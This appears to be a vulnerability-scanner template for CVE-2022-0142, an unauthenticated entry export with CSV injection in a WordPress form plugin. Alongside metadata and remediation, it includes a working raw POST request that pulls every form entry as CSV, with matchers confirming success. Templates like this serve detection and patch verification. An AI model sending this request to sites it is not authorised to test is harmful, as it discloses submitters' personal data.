id: CVE-2022-0142 info: name: Visual Form Builder < 3.0.8 - Unauthenticated Entry Export (CSV Injection) author: DhiyaneshDk severity: high description: | The Visual Form Builder WordPress plugin before 3.0.8 is vulnerable to CSV injection allowing a user with low level or no privileges to inject a command that will be included in the exported CSV file, leading to possible code execution. impact: | Unauthenticated disclosure of all form entries, and CSV formula injection leading to possible command execution when an administrator opens the exported file. remediation: | Update Visual Form Builder to 3.0.8 or later, which adds an authorization check to the entry export. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-0142 - https://wpscan.com/vulnerability/03210390-2054-40c0-9508-39d168087878/ - https://www.cvedetails.com/cve/CVE-2022-0142/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-0142 epss-score: 0.09346 epss-percentile: 0.95488 cwe-id: CWE-1236 metadata: verified: true max-request: 1 vendor: vfbpro product: visual_form_builder framework: wordpress publicwww-query: "/wp-content/plugins/visual-form-builder/" tags: cve,cve2022,wordpress,wp-plugin,visual-form-builder,csv-injection,export,unauth,vkev http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded vfb-content=entries matchers-condition: and matchers: - type: word part: header words: - "Content-Disposition: attachment" - "text/csv" condition: and - type: word part: body words: - '"Entries ID"' - '"Date Submitted"' condition: and - type: status status: - 200 # digest: 4b0a00483046022100f66075607e16248b001a3afb4e78b39f58913b6bcb113a8a1b5e714d4c1c3695022100e780b64d71611426dfc25408eb0e31e575691f0370249b4853abe4c3141b990e:922c64590222798bb761d5b6d8e72950